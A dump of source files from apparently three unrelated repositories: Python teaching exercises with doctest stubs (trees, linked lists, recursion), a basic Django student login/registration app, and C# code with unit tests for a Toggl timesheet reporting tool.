'Insufficient funds'
>>> ch.withdraw(3) # And the second
17
>>> ch.balance
17
>>> ch.withdraw(3) # Ok, two free withdrawals is enough
13
>>> ch.withdraw(3)
9
>>> ch2 = FreeChecking('John')
>>> ch2.balance = 10
>>> ch2.withdraw(3) # No fee
7
>>> ch.withdraw(3) # ch still charges a fee
4
>>> ch.withdraw(5) # Not enough to cover fee + withdraw
'Insufficient funds'
"""
withdraw_fee = 1
free_withdrawals = 2
"*** YOUR CODE HERE ***"
class VendingMachine:
"""A vending machine that vends some product for some price.
>>> v = VendingMachine('candy', 10)
>>> v.vend()
'Machine is out of stock.'
>>> v.deposit(15)
'Machine is out of stock. Here is your $15.'
>>> v.restock(2)
'Current candy stock: 2'
>>> v.vend()
'You must deposit $10 more.'
>>> v.deposit(7)
'Current balance: $7'
>>> v.vend()
'You must deposit $3 more.'
>>> v.deposit(5)
'Current balance: $12'
>>> v.vend()
'Here is your candy and $2 change.'
>>> v.deposit(10)
'Current balance: $10'
>>> v.vend()
'Here is your candy.'
>>> v.deposit(15)
'Machine is out of stock. Here is your $15.'
>>> w = VendingMachine('soda', 2)
>>> w.restock(3)
'Current soda stock: 3'
>>> w.restock(3)
'Current soda stock: 6'
>>> w.deposit(2)
'Current balance: $2'
>>> w.vend()
'Here is your soda.'
"""
"*** YOUR CODE HERE ***"
class Fib():
"""A Fibonacci number.
>>> start = Fib()
>>> start
0
>>> start.next()
1
>>> start.next().next()
1
>>> start.next().next().next()
2
>>> start.next().next().next().next()
3
>>> start.next().next().next().next().next()
5
>>> start.next().next().next().next().next().next()
8
>>> start.next().next().next().next().next().next() # Ensure start isn't changed
8
"""
def __init__(self, value=0):
self.value = value
def next(self):
"*** YOUR CODE HERE ***"
def __repr__(self):
return str(self.value)
def __eq__(self, other):
return self.value == other.value
class Tree:
"""Recall the following functions regarding trees.
# Constructor
def tree(label, branches=[]):
return [label] + list(branches)
# Selectors
def label(tree):
return tree[0]
def branches(tree):
return tree[1:]
# For convenience
def is_leaf(tree):
return not branches(tree)
I would like you to implement the class Tree that has a the same
functionality as the functions above. Please note that label, branches,
is_leaf are class methods, not attributes.
>>> t = Tree(1, [Tree(2), Tree(3)])
>>> t.label()
1
>>> t.is_leaf()
False
>>> a = t.branches()
>>> a[0].label
2
>>> a[1].label
3
>>> a[0].branches()
[]
>>> a[1].is_leaf()
True
"""
"*** YOUR CODE HERE ***"
<file_sep>/Winter 2017/lec5/codingpractice.py
from operator import add, mul
# Constructor
def tree(label, branches=[]):
return [label] + list(branches)
# Selectors
def label(tree):
return tree[0]
def branches(tree):
return tree[1:]
# For convenience
def is_leaf(tree):
return not branches(tree)
def print_move(origin, destination):
"""Print instructions to move a disk."""
print("Move the top disk from rod", origin, "to rod", destination)
def move_stack(n, start, end):
"""Print the moves required to move n disks on the start pole to the end
pole without violating the rules of Towers of Hanoi.
n -- number of disks
start -- a pole position, either 1, 2, or 3
end -- a pole position, either 1, 2, or 3
There are exactly three poles, and start and end must be different. Assume
that the start pole has at least n disks of increasing size, and the end
pole is either empty or has a top disk larger than the top n start disks.
>>> move_stack(1, 1, 3)
Move the top disk from rod 1 to rod 3
>>> move_stack(2, 1, 3)
Move the top disk from rod 1 to rod 2
Move the top disk from rod 1 to rod 3
Move the top disk from rod 2 to rod 3
>>> move_stack(3, 1, 3)
Move the top disk from rod 1 to rod 3
Move the top disk from rod 1 to rod 2
Move the top disk from rod 3 to rod 2
Move the top disk from rod 1 to rod 3
Move the top disk from rod 2 to rod 1
Move the top disk from rod 2 to rod 3
Move the top disk from rod 1 to rod 3
"""
assert 1 <= start <= 3 and 1 <= end <= 3 and start != end, "Bad start/end"
"*** YOUR CODE HERE ***"
def sum_of_nodes(t):
"""Returns the sum of all the elements in each node of the tree.
>>> t = tree(9, [tree(2, []),
tree(4, [tree(1, [])]),
tree(4, [tree(7, []),
tree(3, [])])])
>>> sum_of_nodes(t) # 9 + 2 + 4 + 4 + 1 + 7 + 3 = 30
30
"""
"***YOUR CODE HERE***"
def longest_seq(t):
""" The length of the longest downward sequence of nodes in T whose
labels are consecutive integers.
>>> t = Tree(1, [Tree (2), Tree(1, [Tree(2, [Tree(3, [Tree(0)])])])])
>>> longest_seq(t) # 1 -> 2 -> 3
3
>>> t = Tree(1)
>>> longest_seq(t)
1
"""
"***YOUR CODE HERE***"
<file_sep>/README.md
# pythonteaching
Contains Python teaching materials.
This git repo does NOT contain any solutions to the questions. It only includes lecture notes and questions, so that it prevents current CS61A students from cheating.
# lec, hw folder
- py file: Students will edit this file to reach the correct solution
- autograder.pyc / Q{number}.pyc files (Python 3.6.3): Students can check if their solution is correct by running pyc files.
- wwpd_{name}.pyc files (Python 3.6.3): Students will have to answer 'what would python display (wwpd)' by typing directly into the terminal.
- The homework solution will not be posted to avoid potential academic dishonesty in cs61a.
# Course Syllabus.pdf
- Contains information about the course flow.
# 2048
- Inspired from <NAME>, <NAME>.
- A Python version of a famous puzzle game, 2048.
- Made some modifications to the file, so that the student could implement themselves and reach the final product.
# practice folder
- Contains extra Practice problems and solutions.
# Sources
- The Course Plan / Homework Problem Sets was inspired by <NAME> and <NAME> from the Computer Science Department in UC Berkeley, cs61a.org.
- The Project, ‘2048’ was inspired from Tay Yang Shun, “https://github.com/yangshun/2048-python.
# Copyright
Author: <NAME>
B.S. Electrical Engineering & Computer Science
University of California, Berkeley
<EMAIL>
<file_sep>/Winter 2017/hw2/hw02.py
HW_SOURCE_FILE = 'hw02.py'
from operator import add, mul
def square(x):
return x * x
def triple(x):
return 3 * x
def identity(x):
return x
def increment(x):
return x + 1
def product(n, term):
"""Return the product of the first n terms in a sequence.
n -- a positive integer
term -- a function that takes one argument
>>> product(3, identity) # 1 * 2 * 3
6
>>> product(5, identity) # 1 * 2 * 3 * 4 * 5
120
>>> product(3, square) # 1^2 * 2^2 * 3^2
36
>>> product(5, square) # 1^2 * 2^2 * 3^2 * 4^2 * 5^2
14400
"""
"*** YOUR CODE HERE ***"
# The identity function, defined using a lambda expression!
identity = lambda k: k
def factorial(n):
"""Return n factorial for n >= 0 by calling product.
>>> factorial(4)
24
>>> factorial(6)
720
>>> from construct_check import check
>>> check(HW_SOURCE_FILE, 'factorial', ['Recursion', 'For', 'While'])
True
"""
"*** YOUR CODE HERE ***"
def make_adder(n):
"""Return a function that takes an argument K and returns N + K.
>>> add_three = make_adder(3)
>>> add_three(1) + add_three(2)
9
>>> make_adder(1)(2)
3
"""
"*** YOUR CODE HERE ***"
return "***LAMBDA FUNCTION***"
def has_seven(k):
"""Returns True if at least one of the digits of k is a 7, False otherwise.
>>> has_seven(3)
False
>>> has_seven(7)
True
>>> has_seven(2734)
True
>>> has_seven(2634)
False
>>> has_seven(734)
True
>>> has_seven(7777)
True
"""
"*** YOUR CODE HERE ***"
def summation(n, term):
"""Return the sum of the first n terms in the sequence defined by term.
Implement using recursion! DO NOT USE 'WHILE' or 'FOR'
>>> summation(5, lambda x: x * x * x) # 1^3 + 2^3 + 3^3 + 4^3 + 5^3
225
>>> summation(9, lambda x: x + 1) # 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + 10
54
>>> summation(5, lambda x: 2**x) # 2^1 + 2^2 + 2^3 + 2^4 + 2^5
62
"""
"*** YOUR CODE HERE ***"
def weirdfib(n):
"""Return the nth weirdfibonacci number where the sequence starts with
three ones. The weirdfibonacci adds three previous numbers in the sequence
and place it next. Implement using recursion!
Ex) 1, 1, 1, 3, 5, 9, 17, ...
>>> weirdfib(1)
1
>>> weirdfib(3)
1
>>> weridfib(7)
17
>>> weridfib(20)
46499
"""
"*** YOUR CODE HERE ***"
<file_sep>/Winter 2017/lec4/codingpractice.py
from operator import add, mul
def mario_number(level):
"""Return the number of ways that mario can traverse the
level where mario can either hop by one digit or two
digits each turn a level is defined as being an integer
where a 1 is something mario can step on and 0 is
something mario cannot step on.
>>> mario_number(10101)
1
>>> mario_number(11101)
2
>>> mario_number(100101)
0
"""
"***YOUR CODE HERE***"
def if_this_not_that(i_list, this):
"""Define a function which takes a list of integers `i_list` and an integer
`this`. For each element in `i_list`, print the element if it is larger
than `this`; otherwise, print the word "that".
>>> if_this_not_that([1, 2, 3, 4, 5], 3)
that
that
that
4
5
>>> if_this_not_that([10, 9, 8, 7], 8)
10
9
that
that
"""
"***YOUR CODE HERE***"
def splice(a, b, k):
"""Return a list of the first k elements of a, then all of b,
then the rest of a.
>>> splice([2, 3, 4, 5], [6, 7], 2)
[2, 3, 6, 7, 4, 5]
>>> splice([1, 2, 5, 7], [1, 1], 0)
[1, 1, 1, 2, 5, 7]
"""
"***YOUR CODE HERE***"
def all_splice(a, b, c):
"""Return a list of all k such that splicing b into a at position k gives c.
>>> all_splice([1, 2], [3, 4], [1, 3, 4, 2])
[1]
>>> all_splice([1, 2, 1, 2], [1, 2], [1, 2, 1, 2, 1, 2])
[0, 2, 4]
"""
"***YOUR CODE HERE***"
def ways(start, end, k, ations):
"""Return the number of ways of reaching end from start by taking up to k actions.
>>> ways(-1, 1, 5, [abs, lambda x: x+2]) # abs(-1) or -1+2, but not abs(abs(-1))
2
>>> ways(1, 10, 5, [lambda x: x+1, lambda x: x+4]) # 1+1+4+4, 1+4+4+1, or 1+4+1+4
3
>>> ways(1, 20, 5, [lambda x: x+1, lambda x: x+4])
0
>>> ways([3], [2, 3, 2, 3], 4, [lambda x: [2]+x, lambda x: 2*x, lambda x: x[:-1]])
3
"""
"***YOUR CODE HERE***"
<file_sep>/Winter 2017/lec3/codingpractice.py
from operator import add , mul
def combine(n, f, result):
"""Implement the combine function, which takes a non-negative integer n,
a two-argument function f, and a number result. It applies f to the first
digit of n and the result of combining the rest of the digits of n by
repeatedly applying f (see the doctests).
If n has no digits (because it is zero), combine returns result
>>> combine (3 , mul , 2) # mul (3 , 2)
6
>>> combine (43 , mul , 2) # mul (4 , mul (3 , 2))
24
>>> combine (6502 , add , 3) # add (6 , add (5 , add (0 , add (2 , 3)))
16
>>> combine (239 , pow , 0) # pow (2 , pow (3 , pow (9 , 0)))
8
"""
"*** YOUR CODE HERE***"
def count_stair_ways(n):
"""I want to go up a flight of stairs that has n steps.
I can either take 1 or 2 steps each time. How many different
ways can I go up this flight of stairs? Write a function
count_stair_ways that solves this problem for me.
Assume n is positive.
>>> count_stair_ways(3) # 1 + 2, 2 + 1, 1 + 1 + 1
3
>>> count_stair_ways(1) # There is 1 way to partition 1 step
1
>>> count_stair_ways(5)
8
>>> count_stair_ways(8)
34
"""
"*** YOUR CODE HERE***"
def count_k(n, k):
"""Consider a special version of the count_stairways problem,
where instead of taking 1 or 2 steps, we are able to take up to
and including k steps at a time.
>>> count_k(3, 3) # 3, 2 + 1, 1 + 2, 1 + 1 + 1
4
>>> count_k(4, 4)
8
>>> count_k(10, 3)
273
>>> count_k(300, 1) # Only one step at a time
1
"""
"*** YOUR CODE HERE***"
def kbonacci(n, k):
""" A k-bonacci sequence starts with K-1 zeros and then a one.
Each subsequent element is the sum of the previous K elements.
The 2-bonacci sequence is the standard Fibonacci sequence.
The 3-bonacci and 4-bonacci sequences each start with the
following ten elements:
n : 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , ...
kbonacci (n , 2): 0 , 1 , 1 , 2 , 3 , 5 , 8 , 13 , 21 , 35 , ...
kbonacci (n , 3): 0 , 0 , 1 , 1 , 2 , 4 , 7 , 13 , 24 , 44 , ...
kbonacci (n , 4): 0 , 0 , 0 , 1 , 1 , 2 , 4 , 8 , 15 , 29 , ...
>>> kbonacci (1 , 4)
0
>>> kbonacci (3 , 4)
1
>>> kbonacci (9 , 4)
29
>>> kbonacci (4 , 2)
3
>>> kbonacci (8 , 2)
21
"""
"*** YOUR CODE HERE***"
<file_sep>/Winter 2017/lec7/codingpractice.py
#Link Class is given!
class Link:
"""A linked list.
>>> s = Link(1, Link(2, Link(3)))
>>> s.first
1
>>> s.rest
Link(2, Link(3))
"""
empty = ()
def __init__(self, first, rest=empty):
assert rest is Link.empty or isinstance(rest, Link)
self.first = first
self.rest = rest
def __repr__(self):
if self.rest is Link.empty:
return 'Link({})'.format(self.first)
else:
return 'Link({}, {})'.format(self.first, repr(self.rest))
def __str__(self):
"""Returns a human-readable string representation of the Link
>>> s = Link(1, Link(2, Link(3, Link(4))))
>>> str(s)
'<1 2 3 4>'
>>> str(Link(1))
'<1>'
>>> str(Link.empty) # empty tuple
'()'
"""
string = '<'
while self.rest is not Link.empty:
string += str(self.first) + ' '
self = self.rest
return string + str(self.first) + '>'
def __eq__(self, other):
"""Compares if two Linked Lists contain same values or not.
>>> s, t = Link(1, Link(2)), Link(1, Link(2))
>>> s == t
True
"""
if self is Link.empty and other is Link.empty:
return True
if self is Link.empty or other is Link.empty:
return False
return self.first == other.first and self.rest == other.rest
def list_to_link(lst):
"""Takes a Python list and returns a Link with the same elements.
>>> link = list_to_link([1, 2, 3])
>>> link
'Link(1, Link(2, Link(3)))'
"""
"***YOUR CODE HERE***"
def link_to_list(link):
"""Takes a Link and returns a Python list with the same elements.
>>> link = Link(1, Link(2, Link(3, Link(4))))
>>> link_to_list(link)
[1, 2, 3, 4]
>>> link_to_list(Link.empty)
[]
"""
"*** YOUR CODE HERE ***"
def remove_all(link , value):
"""Remove all the nodes containing value. Assume there exists some
nodes to be removed and the first element is never removed.
>>> l1 = Link(0, Link(2, Link(2, Link(3, Link(1, Link(2, Link(3)))))))
>>> remove_all(l1, 2)
>>> l1
Link(0, Link(3, Link(1, Link(3))))
>>> remove_all(l1, 3)
>>> l1
Link(0, Link(1))
"""
"*** YOUR CODE HERE ***"
def linked_sum(lnk, total):
"""Return the number of combinations of elements in lnk that
sum up to total .
>>> # Four combinations : 1 1 1 1 , 1 1 2 , 1 3 , 2 2
>>> linked_sum (Link(1, Link(2, Link(3, Link(5)))), 4)
4
>>> linked_sum(Link(2, Link(3, Link(5))), 1)
0
>>> # One combination : 2 3
>>> linked_sum(Link(2, Link(4, Link(3))), 5)
1
"""
"*** YOUR CODE HERE ***"
def has_cycle(s):
"""
>>> has_cycle(Link.empty)
False
>>> a = Link(1, Link(2, Link(3)))
>>> has_cycle(a)
False
>>> a.rest.rest.rest = a
>>> has_cycle(a)
True
"""
"*** YOUR CODE HERE ***"
| 928fba4edf42de369269c377410d02eec8939d91 | [
"Markdown",
"Python"
] | 8 | Python | hyunjaemoon/pythonteaching | ee4da847cab548b9a39767d22b2586de927d8513 | 460b19b3dd38aca37a866f35d445b604bb17c9b3 |
refs/heads/master | <repo_name>Tanmoy07tech/login_register<file_sep>/README.md
# Login and Register portal for student.
### It is a basic python django application which creates a student account if the student is not registered. And after creation of account the student can login using the credentaials.
## USE CASE Diagram:

## ER Diagram:

<file_sep>/main_app/views.py
from django.core.checks import messages
from django.http.response import HttpResponse
from django.shortcuts import redirect, render
from main_app.models import Student
from django.contrib import messages
from django.contrib.auth.hashers import make_password
from django.contrib.auth.hashers import check_password
# Create your views here.
from django.shortcuts import render
from django.contrib.auth.forms import UserCreationForm
def home(request):
return render(request,'home.html')
def login(request):
if request.method=='POST':
all_students=Student.objects.all()
college_id=request.POST.get('collegeid')
raw_pass=request.POST.get('password')
verify=False
for member in all_students:
password_log=check_password(raw_pass,encoded=member.password)
if college_id==member.college_id and password_log:
print('succesfully logged')
verify=True
return HttpResponse('Loggin Successfull')
elif college_id==member.college_id and password_log!=member.password:
messages.error(request,'Invalid Password')
return render(request,'login.html')
if verify==False:
messages.error(request,'No registered College Id found.Please register first')
return render(request,'login.html')
return render(request,'login.html')
def register(request):
if request.method=='POST':
all_students=Student.objects.all()
firstname=request.POST.get('firstname')
lastname=request.POST.get('lastname')
email=request.POST.get('email')
collegeid=request.POST.get('collegeid')
password=make_password(request.POST.get('password'))
verify=False
if all_students.exists()==False:
print('In if all students')
s1=Student(first_name=firstname,last_name=lastname,college_id=collegeid,email=email,password=password)
s1.save()
print('Created a account')
messages.success(request,'Succesfully created an account.Please Login')
return render(request,'login.html')
else:
for member in all_students:
if collegeid == member.college_id:
messages.error(request,'Student with this College id already exists.Please Login using the same')
return render(request,'register.html')
elif email == member.email:
messages.error(request,'Account is already registered with this email.Use some other mail')
return render(request,'register.html')
else:
verify=True
if verify==True:
s1=Student(first_name=firstname,last_name=lastname,college_id=collegeid,email=email,password=<PASSWORD>)
s1.save()
print('Created a account')
messages.success(request,'Succesfully created an account.Please Login')
return render(request,'login.html')
return render(request,'register.html')
<file_sep>/main_app/migrations/0001_initial.py
# Generated by Django 3.2.5 on 2021-09-15 07:40
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Student',
fields=[
('first_name', models.CharField(max_length=50)),
('last_name', models.CharField(max_length=50)),
('college_id', models.CharField(max_length=50, primary_key=True, serialize=False)),
('email', models.EmailField(max_length=100, unique=True)),
('password', models.CharField(max_length=12)),
],
),
]
<file_sep>/main_app/admin.py
from django.contrib import admin
from main_app.models import Student
admin.site.register(Student)
<file_sep>/main_app/models.py
from django.db import models
# Create your models here.
from django.db import models
from django import forms
# Create your models here.
class Student(models.Model):
first_name=models.CharField(max_length=50,null=False)
last_name=models.CharField(max_length=50,null=False)
college_id=models.CharField(max_length=50,primary_key=True)
email=models.EmailField(max_length=100,null=False,unique=True)
password=models.CharField(max_length=12,null=False)
def __str__(self):
return self.college_id
<file_sep>/main_app/urls.py
from django.contrib import admin
from django.urls import path
from . import views
urlpatterns = [
path('admin/', admin.site.urls),
path('home/',views.home,name='homepage'),
path('login', views.login),
path('',views.home,name='homepage'),
path('register',views.register),
] | 723d94bc07bf41bb93ba82b9d3f1d6f21ddd6825 | [
"Markdown",
"Python"
] | 6 | Markdown | Tanmoy07tech/login_register | eee17e4469bc41dd974707a43040c3ec156649b7 | a18952de12166e4bea476079137ad464207975ee |
refs/heads/master | <file_sep>using Ahgora.Api.Model;
using Ahgora.Api.Repository;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Tests.Repository
{
[TestClass]
public class TimesheetRepositoryTests
{
[TestMethod]
public void Should_Retreive_A_Not_Null_RootObject()
{
TimesheetRepository timesheetRepository = new TimesheetRepository(string.Empty, string.Empty);
RootObject timesheetCollection = timesheetRepository.GetAll();
Assert.IsNotNull(timesheetCollection);
}
[TestMethod]
public void Should_Set_Username_Property_When_Its_Passed_On_Constructor()
{
string username = "username";
TimesheetRepository timesheetRepository = new TimesheetRepository(username, string.Empty);
Assert.AreEqual(username, timesheetRepository.Username);
}
[TestMethod]
public void Should_Set_Password_Property_When_Its_Passed_On_Constructor()
{
string password = "<PASSWORD>";
TimesheetRepository timesheetRepository = new TimesheetRepository(string.Empty, password);
Assert.AreEqual(password, timesheetRepository.Password);
}
[TestMethod]
public void Should_Retrieve_An_List_Greater_Than_Zero_When_User_Is_Valid()
{
string validUsername = "35";
string validPassword = "<PASSWORD>";
TimesheetRepository timesheetRepository = new TimesheetRepository(validUsername, validPassword);
RootObject timesheetCollection = timesheetRepository.GetAll();
Assert.IsTrue(timesheetCollection.timesheet.Count > 0);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.Services
{
public interface IConfigurationService
{
#region Properties
FileInfo TogglDatabasePath { get; }
FileInfo TogglTemporaryDatabasePath { get; }
#endregion
#region Public Methods
void Load();
double GetTotalHourForCurrentDay(DateTime date);
#endregion
}
}
<file_sep>TogglReport
===========
<file_sep>using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Tests.Services
{
[TestClass]
internal class AhgoraServiceTests
{
[TestMethod]
public void Should_Retrive_An_Not_Null_RootObject()
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.Model
{
public class UserSettings : List<Setting>
{
#region Public Methods
public bool ContainsKey(string key)
{
return this.GetKeyIndex(key) > -1;
}
public void Add(string key, string value)
{
if (!this.ContainsKey(key))
this.Add(new Setting() { Key = key, Value = value });
else
this[this.GetKeyIndex(key)] = new Setting() { Key = key, Value = value };
}
public string GetValue(string key)
{
string value = String.Empty;
if (this.ContainsKey(key))
value = this[this.GetKeyIndex(key)].Value;
return value;
}
#endregion
#region Private Methods
private int GetKeyIndex(string key)
{
return this.FindIndex(i => i.Key == key);
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Model
{
public class Summary
{
public string worked { get; set; }
public string weeklyDSR { get; set; }
public string overtime { get; set; }
public string absent { get; set; }
public string offwork { get; set; }
public string discountedDSR { get; set; }
}
}
<file_sep>using Caliburn.Micro;
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.ViewModel
{
[Export(typeof(IScreen))]
public class ReportViewModel : Screen
{
public ReportViewModel()
{
DisplayName = "Reports";
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.Extensions
{
public static class DoubleExtensions
{
public static double RoundI(this double number, double roundingInterval)
{
if (roundingInterval == 0) { return 0; }
double intv = Math.Abs(roundingInterval);
double modulo = number % intv;
if ((intv - modulo) == modulo)
{
var temp = (number - modulo).ToString("#.##################");
if (temp.Length != 0 && temp[temp.Length - 1] % 2 == 0) modulo *= -1;
}
else if ((intv - modulo) < modulo)
modulo = (intv - modulo);
else
modulo *= -1;
return number + modulo;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Configuration;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.Services
{
public class ConfigurationService : IConfigurationService
{
#region Singleton Implementation
private static IConfigurationService instance = new ConfigurationService();
public static IConfigurationService GetInstance()
{
return instance;
}
#endregion
#region Constructors
public ConfigurationService()
{
HoursPerWeekDay = new Dictionary<DayOfWeek, double>();
}
public ConfigurationService(FileInfo togglDatabasePath, FileInfo togglTemporaryDatabasePath, double totalHoursPerDay)
{
this._togglDatabasePath = togglDatabasePath;
this._togglTemporaryDatabasePath = togglTemporaryDatabasePath;
HoursPerWeekDay = new Dictionary<DayOfWeek, double>();
HoursPerWeekDay.Add(DayOfWeek.Sunday, 0);
HoursPerWeekDay.Add(DayOfWeek.Monday, 7.5);
HoursPerWeekDay.Add(DayOfWeek.Tuesday, 8.75);
HoursPerWeekDay.Add(DayOfWeek.Wednesday, 8);
HoursPerWeekDay.Add(DayOfWeek.Thursday, 8);
HoursPerWeekDay.Add(DayOfWeek.Friday, 5.25);
HoursPerWeekDay.Add(DayOfWeek.Saturday, 0);
}
#endregion
#region Members
private FileInfo _togglDatabasePath = null;
private FileInfo _togglTemporaryDatabasePath = null;
private double _totalHoursPerDay;
public Dictionary<DayOfWeek, double> HoursPerWeekDay { get; set; }
#endregion
#region Properties
public FileInfo TogglDatabasePath
{
get
{
return _togglDatabasePath;
}
}
public FileInfo TogglTemporaryDatabasePath
{
get
{
return _togglTemporaryDatabasePath;
}
}
//private double TotalHoursPerDay
//{
// get
// {
// return _totalHoursPerDay;
// }
//}
public double GetTotalHourForCurrentDay(DateTime date)
{
return this.HoursPerWeekDay[date.DayOfWeek];
}
#endregion
#region Public Methods
public void Load()
{
HoursPerWeekDay = new Dictionary<DayOfWeek, double>();
if (String.IsNullOrEmpty(System.Configuration.ConfigurationManager.AppSettings["TogglDatabasePath"]))
throw new System.Configuration.SettingsPropertyNotFoundException("TogglDatabasePath");
//if (String.IsNullOrEmpty(System.Configuration.ConfigurationManager.AppSettings["TogglApiToken"]))
// throw new System.Configuration.SettingsPropertyNotFoundException("TogglApiToken");
//this._togglDatabasePath = new FileInfo(@"C:\Users\Mauricio\AppData\Roaming\TideSDK\com.toggl.toggldesktop\app_com.toggl.toggldesktop_0.localstorage");
this._togglDatabasePath = new FileInfo(System.Configuration.ConfigurationManager.AppSettings["TogglDatabasePath"]);
this._togglTemporaryDatabasePath = new FileInfo(Environment.CurrentDirectory + "\\ToogleDatabaseSqlLite.db");
//this._totalHoursPerDay = 5.25;
}
#endregion
}
}
<file_sep>using Caliburn.Micro;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel.Composition;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Repository;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.ViewModel
{
[Export]
public class ShellViewModel : Conductor<IScreen>.Collection.OneActive
{
#region Members
#endregion
#region Properties
#endregion
#region Constructors
[ImportingConstructor]
public ShellViewModel([ImportMany] IEnumerable<IScreen> viewModels)
{
Dictionary<Type, int> tabOrder = new Dictionary<Type, int>();
tabOrder.Add(typeof(TogglEntriesViewModel), 1);
tabOrder.Add(typeof(BraviEntriesViewModel), 2);
tabOrder.Add(typeof(ReportViewModel), 3);
tabOrder.Add(typeof(ConfigurationViewModel), 4);
IOrderedEnumerable<IScreen> orderedScreens = viewModels.OrderBy(t => tabOrder[t.GetType()]);
Items.AddRange(orderedScreens.Except(orderedScreens.OfType<BraviEntriesViewModel>()));
}
#endregion
#region Private Methods
#endregion
#region Public Methods
#endregion
}
}
<file_sep>using Caliburn.Micro;
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.ViewModel
{
[Export]
public class ConfirmationBoxViewModel : Screen
{
public void OK()
{
TryClose(true);
}
public void Cancel()
{
TryClose(false);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SQLite;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.Repository
{
public class DbHelper
{
#region Singleton Implementation
private static DbHelper instance = new DbHelper();
public static DbHelper GetInstance()
{
return instance;
}
#endregion
private ConfigurationService _configService;
public DbHelper()
{
_configService = new ConfigurationService();
_configService.Load();
}
public void InitialiseDB()
{
System.IO.File.Delete(_configService.TogglTemporaryDatabasePath.FullName);
System.IO.File.Copy(_configService.TogglDatabasePath.FullName, _configService.TogglTemporaryDatabasePath.FullName);
}
public DataTable selectQuery(string query)
{
SQLiteConnection sqlite = new SQLiteConnection(@"Data Source=" + _configService.TogglTemporaryDatabasePath.FullName);
SQLiteDataAdapter ad = null;
DataTable dt = new DataTable();
try
{
SQLiteCommand cmd;
sqlite.Open(); //Initiate connection to the db
cmd = sqlite.CreateCommand();
cmd.CommandText = query; //set the passed query
ad = new SQLiteDataAdapter(cmd);
ad.Fill(dt); //fill the datasource
}
catch(SQLiteException ex)
{
//Add your exception code here.
throw ex;
}
sqlite.Close();
return dt;
}
}
}
<file_sep>using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using TogglReport.Domain.Tests.Fakes;
using FizzWare.NBuilder;
using TogglReport.Domain.Model;
using System.Collections.Generic;
namespace TogglReport.Domain.Services.Tests
{
[TestClass]
public class TimesheetCalculationServiceTests
{
ConfigurationServiceBuilder configServiceBuilder = null;
IConfigurationService configService = null;
TimesheetCalculationService calculationService = null;
List<TimeEntry> timeEntryList = new List<TimeEntry>();
[TestInitialize]
public void Setup()
{
configServiceBuilder = new ConfigurationServiceBuilder();
configService = configServiceBuilder.Build();
calculationService = new TimesheetCalculationService(configService);
timeEntryList.Clear();
}
[TestMethod]
public void Rounded_Hours_Correctness_Using_Especfic_Scenario_1()
{
BuildDataForTestingScenario1(timeEntryList);
calculationService.CalculateItems(timeEntryList, DateTime.Now);
Assert.AreEqual(configService.GetTotalHourForCurrentDay(DateTime.Now), calculationService.TotalHoursRounded);
}
[TestMethod]
public void Rounded_Hours_Correctness_Using_Especfic_Scenario_2()
{
BuildDataForTestingScenario2(timeEntryList);
calculationService.CalculateItems(timeEntryList, DateTime.Now);
Assert.AreEqual(configService.GetTotalHourForCurrentDay(DateTime.Now), calculationService.TotalHoursRounded);
}
[TestMethod]
public void Rounded_Hours_Correctness_Using_A_Random_Scenario()
{
BuildDataForTestingARandomScenario(timeEntryList);
calculationService.CalculateItems(timeEntryList, DateTime.Now);
Assert.AreEqual(configService.GetTotalHourForCurrentDay(DateTime.Now), calculationService.TotalHoursRounded);
}
private void BuildDataForTestingScenario1(List<TimeEntry> timeEntryList)
{
timeEntryList.Add(new Model.TimeEntry()
{
description = "144449:6.4.0.4 - Set system context on login into Student Self-Management and Learner Portals",
start = new DateTime(2014, 2, 11),
duration = 20284,
isTimesheet = true
});
timeEntryList.Add(new Model.TimeEntry()
{
description = "Stand Up",
start = new DateTime(2014, 2, 11),
duration = 611,
isTimesheet = true
});
timeEntryList.Add(new Model.TimeEntry()
{
description = "144269:6.4.4.2 Apps In Client: Limit editing of a Learner's applications where context doesn't match",
start = new DateTime(2014, 2, 11),
duration = 8298,
isTimesheet = true
});
}
private void BuildDataForTestingScenario2(List<TimeEntry> timeEntryList)
{
timeEntryList.Add(new Model.TimeEntry()
{
description = "231386:PublishAssessmentResults message publishing when it is not viewable by Learner",
start = new DateTime(2014, 2, 19),
duration = 5724,
isTimesheet = true
});
timeEntryList.Add(new Model.TimeEntry()
{
description = "230322:E2E_NLP_Grading Scheme Code is not updated in 158 and 162 instances",
start = new DateTime(2014, 2, 19),
duration = 9231,
isTimesheet = true
});
timeEntryList.Add(new Model.TimeEntry()
{
description = "Meeting about Tafe Bugs",
start = new DateTime(2014, 2, 19),
duration = 1981,
isTimesheet = true
});
